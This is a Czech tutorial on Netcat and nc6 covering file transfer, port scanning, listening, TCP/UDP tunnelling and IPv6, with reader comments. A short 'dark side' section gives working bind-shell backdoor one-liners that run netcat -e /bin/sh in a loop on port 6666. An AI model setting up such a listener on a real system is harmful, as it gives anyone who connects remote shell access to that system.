Portál AbcLinuxu, 26. května 2024 18:13

Netcat - Švýcarský armádní nůž pro TCP/IP

23. 5. 2012 | Petr Los
Články - Netcat - Švýcarský armádní nůž pro TCP/IP  

Říká se mu „Swiss-army knife for TCP/IP “ – Švýcarský armádní nůž pro TCP/IP. Samozřejmě mluvím o dobře známém Netcatu. Jedná se o síťový nástroj primárně určený pro zápis a čtení z TCP nebo UDP roury (socketu). Ale jeho dnešní implementace zvládají i celou řadu jiných užitečných věcí.

Obsah

Úvod

link

Říká se mu „Swiss-army knife for TCP/IP “ – Švýcarský armádní nůž pro TCP/IP. Samozřejmě mluvím o dobře známém Netcatu. Jedná se o síťový nástroj primárně určený pro zápis a čtení z TCP nebo UDP roury (socketu). Ale jeho dnešní implementace zvládají i celou řadu jiných užitečných věcí.

Od Hobbitova Netcatu k současným implementacím

link

Autorem původního Netcatu je Hobbit. První verze Netcatu vyšla v roce 1995 pod Permissive free software licencí. Původní Netcat byl navržen jako síťová analogie programu cat. Poslední verze Hobbitova Netcatu (1.1) vyšla v březnu roku 1996 a lze ji stáhnout kupříkladu na sourceforge.net. Od té doby vznikla celá řada implementací Netcatu, asi nejrošířenější je GNU Netcat od Giovanni Giacobbiho. Cílem GNU Netcatu je plná kompatibilita s originálním Netcatem (1.1) od Hobbita. Poslední verze GNU Netcatu (0.7.1) vyšla 11. ledna 2004. Za zmínku stojí také Netcat6 (nc6), který plně podporuje IPv6 a mnoho dalších voleb. Další zajímavou implementací Netcatu je Ncat Chrise Gibsona, jedná se o vylepšenou verzi originálního Netcatu s podporou IPv6, SSL, proxy pomocí SOCKS4 protokolu, HTTP – CONNECT metody a v neposlední řadě i možností vytvořit řetěz Ncatů velice jednoduše.

GNU Netcat

link

V následujících příkladech budu používat GNU Netcat, který buď najdete v repozitáři své oblíbené distribuce anebo zde.

V první řadě je třeba zmínit, že GNU Netcat (dále jen Netcat) se používá ve čtyřech základních módech:

Další použití a implementace Netcatu:

Mód připojení

link

Jedná se nejspíš o nejpoužívanější funkci v Netcatu vůbec. Ukážeme si, jak lze pomocí Netcatu prolétnout poslední poštu.

sh1# netcat -v mail.xxxxxxx.cz
+OK mail.xxxxxxx.cz xxxxxxx.cz Mail server 2.7 POP3
USER elch@xxxxxxx.cz
+OK elch@xxxxxxx.cz
PASS *****************
+OK 29 messages (1597217) octets
LIST
1 4676
2 5528
....
RETR 29
***Message***
QUIT 
+OK mail.xxxxxxx.cz closing connection

Parametr -v zajištuje, že je výstup přesměrován na stderr. Obecně tuto možnost volíme, pokud chceme od Netcatu, aby vracel nějaké informace o svém stavu.

Při použití -vv je Netcat ještě „ukecanější“.

Dalším dobrým příkladem použití módu připojení Netcatu je jednoduché příjmání dat. Předpokládejme, že na portu 30000 naslouchá server, co nám chce poslat soubor zabalený pomocí gzip.

sh1# netcat -v localhost 30000|gzip -cd > file

analogicky

sh1# netcat -v -s 127.0.0.1 30000|gzip -d > file

Soubor byl na straně serveru zkopmprimován a poté zapsán do síťové roury (socketu). Jakmile se Netcat k síťovému socketu připojil a začal z něj číst, přišla mu na výstup komprimovaná data, která jsme přesměrovali na vstup gzipu. Problém však nastává při ukončování komunikace. Netcat totiž na rozdíl od jiných aplikací ignoruje EOF, takže nám nezbyde nic jiného než po chvíli ukončit spojení pomocí Ctrl+c .Toto se na první pohled může zdát jako komplikace, ale s trochou selského rozumu a lehkou matematikou si můžeme spočítat, jak dlouho máme na soubor určité velikosti čekat. Netcat musí ignorovat EOF, jinak by nemohl být bez znovuspouštění použit pro přesměrování celé komunikace. Nyní pomocí Netcatu odešleme data na server, který běží na lokálním stroji řekněme, že opět na portu 30000.

sh1# netcat localhost 30000 < file.gz

Toto řešení se hodí například pokud máme na stroji za routrem nějaká data, která chceme dostat na server, na jehož portu 30000 beží netcat v módu naslouchání.

Netcat podporuje implicitně dva síťové protokoly: TCP a UDP. Výše uvedené příklady defaultně používají TCP protokol, pokud bysme chtěli použít UDP protokol, je třeba dodat netcatu parametr -u (--udp)

Mód skenování

link

Nesmíme zapomenout, že netcat podporuje i skenování portů. I když je dnes na „trhu“ spousta port skenerů pro různé platformy, pokud potřebujete něco rychle oskenovat a například nmap není po ruce, může se i tato funkce hodit.

sh1# netcat -vv -z -n 127.0.0.1 20-22

Pro skenování se používá parametr -z (I/O Zero mode). Funguje to tak, že netcat na daném rozsahu portů (20-30) postupně připojí na hosta a v módu TCP provede pouze potřesení rukou (handshake) a pak se ukončí. V Módu UDP dojde k odeslání malého množství dat.

Pro změnu používám parametr -n, který je zapotřebí chceme-li použít numerický zápis IPv4.

Při použití parametru -r < rozsah portu > se skenovaní provádí v pseudo-náhodném pořadí.

Mód naslouchání

link

Netcat v tomto módu naslouchá (parametr -l) na portu určeným parametrem -p < port > a čeká na připojení klienta. Jakmile dojde k navázání komunikace s klientem, Netcat výstup z roury (socketu) přesměruje na stdout a stdin z konzole přesměruje do roury (socketu).

sh1# netcat -l -p 15000

Takto vypadá nejzákladnější příklad použití Netcatu v modu naslouchání. Protokolem komunikace je implicitně TCP/IP.

sh1# netcat -l -u -p 15000

nebo

sh1# netcat -l --udp -p 15000 

Ve výše uvedeném příkladu je Netcat opět v módu naslouchání s tím rozílem, že za protkol komunikace jsme zvolili UDP.

Jako příklad se nám bude hodit server, který příjme data dekomprimuje je výstup přesměruje do souboru. V podstatě se jedná o serverový protějšek demonstrací se zasíláním souborů.

sh1# netcat -lp 30000|gzip -d > file

Funguje to tak, že Netcat otevře socket na lokalní adrese a portu a poté čeká při příchozím spojení na námi definovaném portu, za předpokladu, že klient komunikuje na stejném protokolu, Netcat akceptuje příchozí spojení. Po akceptování příchozí komunikace se začnou příjmat data (pokud klient něco pošle), jež jsou pomocí systémové roury („pajpy“) přesměrována přímo na vstup gzip, který je díky parametru -d dekomprimuje. Následně je výstup z gzip přesměrován do souboru file.

Mód tunelování

link

Tunelování je u klasické verze Netcatu pouze o směrování vstupu a výstupu mezi Netcatem v naslouchacím módu a v módu připojení. U novějších klonů Netcatu jsou dostupné volby, kterými požadovaný vstup přesměrujete jinam. Skvělým příkladem reálně použitelné aplikace Netcatu je most mezi protokoly TCP a UDP.

sh1# netcat -l -p 30001|netcat -u cilovy_udp_server 30000

Výše uvedený příklad je typem klasického tunelování. Netcat server čeká, až se nějaký TCP klient připojí na port 30001 a začne posílat data. Ta jsou rourou přesměrována do vstupu Netcat clienta, který je připojen na UDP port cílového serveru. Toto lze dobře otestovat i lokálně:

sh1# netcat --tcp  localhost 30001
sh2# netcat --udp -l -p 30000

Problém s jednosměrnou komunikací je řešen v následujícím příkladu přidáním další roury, která bude zvládat zpětnou komunikaci:

sh1# mkfifo /tmp/pipe 

nebo

sh1# mknod /tmp/pipe p
sh1# netcat -l -p 30000 < /tmp/pipe|netcat -u cilovy_udp_server 30001 > /tmp/pipe

Demonstraci této funkce lze provést naprosto přesně jako u předchozího příkladu. Další ukázkou využití Netcatu je TCP – UDP relé.

sh1# netcat -lp 30000 < /tmp/pipe |netcat -u -lp 30001 > /tmp/pipe

Analogicky se dají dělat tvořit jiné zajímavé kombinace. V případě, že si potřebujete pustit nějaké video popřípadě film vzdáleně.

sh1# netcat -l -p 30000 < movie.avi

Opět pro jednoduchost provádím demonstraci lokálně.

sh1# netcat localhost 30000| mplayer -cache 4096 -

Výstup Netcatu je presměrován pomocí roury na stdin MPlayeru, pomocí '-' „říkáme“ MPlayeru, aby začal přehrávat, to co má na standardním vstupu (stdin).

V podobných případech se opravdu hodí použít parametr MPlayeru: -cache pro plynulost.

Netcat jako Telnet klient

link

Nejspíš je dobré zmínit, jak netcat použít k připojení se k Telnet serveru:

sh1# netcat -t telnetServer 

Pomocí Netcatu se dá snadno naskriptovat i Telnet server.

Další použití a implementace Netcatu

link

Rozšířený nc6

link

Tato implementace Netcatu podporuje k již známým funkcím GNU Netcat IPv6, možnost nastavení velikosti zasobníku, možnost vypnutí Nagleho algoritmu a pár dalších věcí. Rád bych některé z nich zmínil:

IPv6 v Netcatu

link

Níže je uveden příklad jednoduchého použití nc6 s využitím IPv6 v módu nasluchání a připojení:

sh1# nc -6 -lp 20000
sh2# nc -6 ::1 20000

Princip komunikace je naprosto stejný jako u GNU Nectatu s tím rozdílem, že používá IPv6 namísto protokolu IPv4.

Nastavení velikosti zásobníku v nc6

link

Defaultně je velikost zásobníku nc6 nastavena na 8KB pro TCP a 128KB pro UDP protokol. Toto nastavení je naprosto dodstačující pro skenování nebo posílání drobných souborů. Nicméně při přesunu větších souborů nebo při použití UDP protokolu se známou velikostí datagramu v bajtech je dobré mít možnost velikost zásobníku trochu poladit. Pro příklad řeknu, že velikost datagramu (jde o součet velikosti dat a konstantní velikosti hlavíčky) bude 0xFFFF a nastavím na tu samou hodnotu velikost zásobníku, pak každý datagram bude přečtený právě jedním systémovým voláním. Což celý proces komunikace zoptimalizuje.

S nastavením velikosti zásobníku přímo souvisí parametr -x (analogicky --transfer), který se používá pro transfér vetšího počtu dat. Tento parametr je ekvivalentní volbě --recv-only nebo --send-only --buffer-size=65536 .

V tomto případě závisí na způsobu použití nc6.

Příklad použití volby -x v módu naslouchání – čekání na příchozí data na portu 20000:

sh1# nc -x -lp 20000

Možnost vypnutí podpory Nagleho algoritmu

link

Nagleho algoritmus (Nagle's algorithm) snižuje množství odeslaných paketů při použití TCP protokolu. Respektive snižuje potřebu odesílat je tak často, protože se snaží každý paket plnit, dokud nepřijde informace o příjetí předchozího paketu od příjemce zpět k odesílateli. Pokud se tedy snažíme odeslat data, která nenacpeme do jednoho paketu a Nagleho algoritmus není vypnut, dojde k prodlevě mezi tím, než příjemce obdrží paket odešle odpověď a odesílateli odpověď dojde.

Takže pokud máte například dva servery spojeny kabelem a potřebujete překopírovat nějaký větší soubor, může vypnutí Nagleho algoritmu urychlit přesun dat.

sh1# cat bigFile|nc --disable-nagle -x cilovyServer < cilovyPort >

Něco z temné strany:

link

Snadno odhalitelný backdoor.

sh1# while true ;do netcat -lp 6666 -e /bin/sh ; done &

Bez použití while v nc6:

sh1# nc --continuous -lp 6666 -e /bin/sh amp;

Netcat naslouchá na portu 6666 a při připojení klienta se pustí /bin/sh. Jakmile se spojení ukončí, Netcat začne opět naslouchat.

Závěr

link

O různých implementacích Netcatu s různými rozšířeními a jejich podrobným popisem by se dala napsat celá kniha. Snaha byla shrnout nějaké základy pro uživatele, kteří s Netcatem ještě neměli tu čest. A zároveň se pokusit objasnit některé složitější funkce nebo ne až tak dobře popsané možnosti nových implementací Netcatu. Pokud bude zájem, příště se podívám důkladně na bluetooth podporu Netcatu6, představím Cryptcat, Ncat a Socat.

Další články z této rubriky

VDR a DVB-T2, část 2.
VDR a DVB-T2, část 1.
Šifrovaný Proxmox VE 6: ZFS, LUKS, systemd_boot a Dropbear
MapTiler – proměňte obrázek v zoomovatelnou mapu
Syncthing

Diskuse k tomuto článku

23.5.2012 11:17 Michal Kubeček | skóre: 72 | Luštěnice
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Odpovědět | Sbalit | Link | Blokovat | Admin

V některých distribucích se lze potkat i s OpenBSD verzí netcatu, která má (mimo jiné) odlišnou syntaxi pro listen mode:

  netcat -l <port>
23.5.2012 11:41 jbohac | skóre: 19 | Praha 5
Rozbalit Rozbalit vše socat
Odpovědět | Sbalit | Link | Blokovat | Admin
netcat je jen rozviklaná orezlá rybička proti opravdovému švýcarskému noži -- programu socat. Nemá cenu se tu snažit popisovat co umí - umí totiž ohledně posílání dat ze socketu do socketu všechno co si dovedete představit. Pozor, při pohledu na manuálovou stránku na vás možná půjdou mdloby ;)
David Watzke avatar 23.5.2012 11:49 David Watzke | skóre: 74 | blog: Blog... | Praha
Rozbalit Rozbalit vše Re: socat
To je slušná roštovačka. Ale chválím teda autora manuálu, protože většina programů má sekci "EXAMPLES" pěkně odfláknutou.
“Being honest may not get you a lot of friends but it’ll always get you the right ones” ―John Lennon
Elch avatar 23.5.2012 11:55 Elch | skóre: 6
Rozbalit Rozbalit vše Re: socat
Souhlasím se srovnáním Netcat vs. Socat . Ale přišlo mi logické, s ohledem na historickou posloupnost, napsat článek první o Netcatu a na Socat si vzít v budoucnu měsíc volna :) Navíc používání programu Socat také není pro každého, právě kvůli jeho komplexitě.
24.5.2012 03:54 kdosi
Rozbalit Rozbalit vše Re: socat
A opravdovym svycarskym nozem je mysleno toto: Opravdovy svycarsky nuz
24.5.2012 11:05 Peter S.
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Odpovědět | Sbalit | Link | Blokovat | Admin
Vďaka za článoček, o netcate som vedel že existuje čo asi robí ale to bolo všetko.

Takže vyskúšal som si toto: (na jednom stroji)
echo "ahoj" | netcat -l -p 3000    # ~odosielateľ správy
netcat localhost 3000 | cat        # ~prijimateľ správy
funguje to pekne, ale ked "ctrl+c" ktorúkoľvek stranu, tak spadne aj druhá - čo je samozrejme správne. No a ja by som chcel aby to fungovalo tak že na jednej strane by bežal "príjimateľ správy", ten by bežal trvalo a na druhej trane by "odosielateľ" správy iba zbehol a skončil.

A teda mohol by som opakovanie takto posielať správy.

Zaujíma ma to čisto teoreticky nemám momentálne na to žiadne využitie...
Elch avatar 24.5.2012 12:14 Elch | skóre: 6
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Ve vašem případě bych to řešil smyčkou. To co chete je v podstatě analogie části "Něco z temné strany" konkrétně smyčka while bez parametru -e . Pokud chcete můžete nechat netcat bežet i na pozadí, ale pak je třeba přesměrovat výstup třeba do souboru. Popřípadě můžete nahodit nc6 a použít parametr --continuous.
24.5.2012 12:40 Peter S.
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
No nejde to.

Ked sa pokušam spustiť "prijmateľa", tak dostanem toto:
while true; do netcat localhost 3000 | cat; done
localhost [127.0.0.1] 3000 (?) : Connection refused
localhost [127.0.0.1] 3000 (?) : Connection refused
localhost [127.0.0.1] 3000 (?) : Connection refused
localhost [127.0.0.1] 3000 (?) : Connection refused
localhost [127.0.0.1] 3000 (?) : Connection refused
localhost [127.0.0.1] 3000 (?) : Connection refused
localhost [127.0.0.1] 3000 (?) : Connection refused
localhost [127.0.0.1] 3000 (?) : Connection refused
^Clocalhost [127.0.0.1] 3000 (?) : Connection refused
teda nekonečný sled týchto hlášok... A z princípu v tom mojom scénari, prijmateľ musí bežať prvý/stále...
Elch avatar 24.5.2012 13:23 Elch | skóre: 6
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Měl jsem na mysli něco takového:
while true;do netcat -lp 6000 >> MSGs; done  # naslouchá příjmá a zapisuje zprávy pod sebe do souboru
echo "Ahoj"|netcat localhost 6000            # posílá zprávy
24.5.2012 13:55 Peter S.
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
aha, tak toto funguje už takmer dobre, s dvoma malými problémami:

odosielateľ správy musí byť zabitý s "ctrl+c", lebo proste prompt nevráti...

a naopak prijmateľa nie je možné normálne zabiť asi kvôli tomu že je v slučke. Ale povedzme že mi to stačí a v prípade potreby by som ešte dačo vyšpekuloval. Vďaka
14.8.2012 22:08 JanM | skóre: 28
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
zkuste k odesílateli přidat parametr -c, alespoň na arch linuxu jsem se dost natrápil zkoumáním, proč netcat neukončí spojení.
Josef Kufner avatar 24.5.2012 18:45 Josef Kufner | skóre: 70
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Na to máme inetd.
Hello world ! Segmentation fault (core dumped)
24.5.2012 14:02 František Bublík | skóre: 16
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Odpovědět | Sbalit | Link | Blokovat | Admin
Díky za článek, tyhle malé prográmky miluju a rád si s nimi zahrávám. Jen si prosím Petře oprav slovo "zapotřebý" ;-) Zdravím Franta
Elch avatar 24.5.2012 14:17 Elch | skóre: 6
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Díky Franto, omlouvám se za hrubku, "občas" ( velice často ) je prostě nevidím. Už jsem tu chybu nahlásil.
David Watzke avatar 24.5.2012 14:26 David Watzke | skóre: 74 | blog: Blog... | Praha
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Opraveno.
“Being honest may not get you a lot of friends but it’ll always get you the right ones” ―John Lennon
Otto Šabart avatar 24.5.2012 18:08 Otto Šabart | skóre: 13 | blog: KatiePC blog
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Odpovědět | Sbalit | Link | Blokovat | Admin
Super clanek a krasna ukazka netcatu:-). Urcite bych ocenil pokracovani o dalsich podobnych utilitkach.:-)
*´¨)¸.·´¨)¸.·***·>>> www.seberm.com
24.5.2012 22:45 Radovan Garabík
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Odpovědět | Sbalit | Link | Blokovat | Admin
Drobná pripomienka: "Permissive free software license" nie je názov licencie, ale opis jej vlastnosti...
26.5.2012 12:29 sZtorkie | nmnm
Rozbalit Rozbalit vše pozor na nekorektni chovani GNU nc(1)
Odpovědět | Sbalit | Link | Blokovat | Admin
Pokud by se nekomu zdalo, ze GNU netcat nefunguje korektne na konci vaseho vstupu, prectete si tohle:

http://www.mail-archive.com/tech@openbsd.org/msg07804.html
Nothing works! That's not the way things work. (Leo Kottke)
26.5.2012 13:09 Semo | skóre: 45 | blog: Semo
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Odpovědět | Sbalit | Link | Blokovat | Admin
Prinajmensom v bashi funguje presmerovanie na /dev/tcp/hostname.domain/port (napr. /dev/tcp/google.com/80. Podobne s udp. Cim sa da nahradit pouziteie netcatu ako odosielacieho toolu a rovnako nie je problem s nutnostou zabijat cez Ctrl-c.
If you hold a Unix shell up to your ear, you can you hear the C.
pavlix avatar 26.5.2012 13:17 pavlix | skóre: 54 | blog: pavlix
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Nefunguje. Fedora 17, kernel 3.3.4.
Já už tu vlastně ani nejsem. Abclinuxu umřelo.
27.5.2012 10:27 Semo | skóre: 45 | blog: Semo
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
V 1. terminale:
netcat -l -p 3333
V 2. terminale:
echo aaaa >/dev/tcp/localhost/3333
V 1. sa vypise text aaaa a netcat sa ukonci. Co nefunguje?
If you hold a Unix shell up to your ear, you can you hear the C.
pavlix avatar 27.5.2012 11:22 pavlix | skóre: 54 | blog: pavlix
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Aha. No chtěl jsem se podívat s čím se to vlastně bavím (očekával jsem unix socket), takže...
[pavlix@dragon ~]$ ls -l /dev/tcp/google.com/80
ls: cannot access /dev/tcp/google.com/80: No such file or directory
[pavlix@dragon ~]$ ls -l /dev/tcp/google.com
ls: cannot access /dev/tcp/google.com: No such file or directory
[pavlix@dragon ~]$ ls -l /dev/tcp
ls: cannot access /dev/tcp: No such file or directory
Navíc mi nefunguje ani oboustranná komunikace (přesněji řečeno nevím jak na ni).
[pavlix@dragon ~]$ socat /dev/tcp/google.com/80 -
2012/05/27 11:19:52 socat[17521] E open("/dev/tcp/google.com/80", 0102, 0666): No such file or directory
Přijde mi, že autor tohoto asi nepřemýšlel hlavou. Nebo ani ne tak autor, ten si možná prostě jenom po večerech hrál, hrál, až došel do fáze proof of concept. Spíš ten, kdo tuhle „feature“ zařadil.
Já už tu vlastně ani nejsem. Abclinuxu umřelo.
27.5.2012 15:49 Ash | skóre: 53
Rozbalit Rozbalit vše Re: Netcat - Švýcarský armádní nůž pro TCP/IP
Se týká jen přesměrování, takže s ls nebo socat to nefunguje. Sokety můžete i zakázat.

To /dev/{tcp,udp} je asi fakt spíš hračka.

Mnohem užitečnější než náhrada wget, netcat či socat touhle věcí je asi /dev/fd/0 resp. /dev/stdin apod., což umožní předat standardní vstup/výstup i programům, které - neumí.

ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.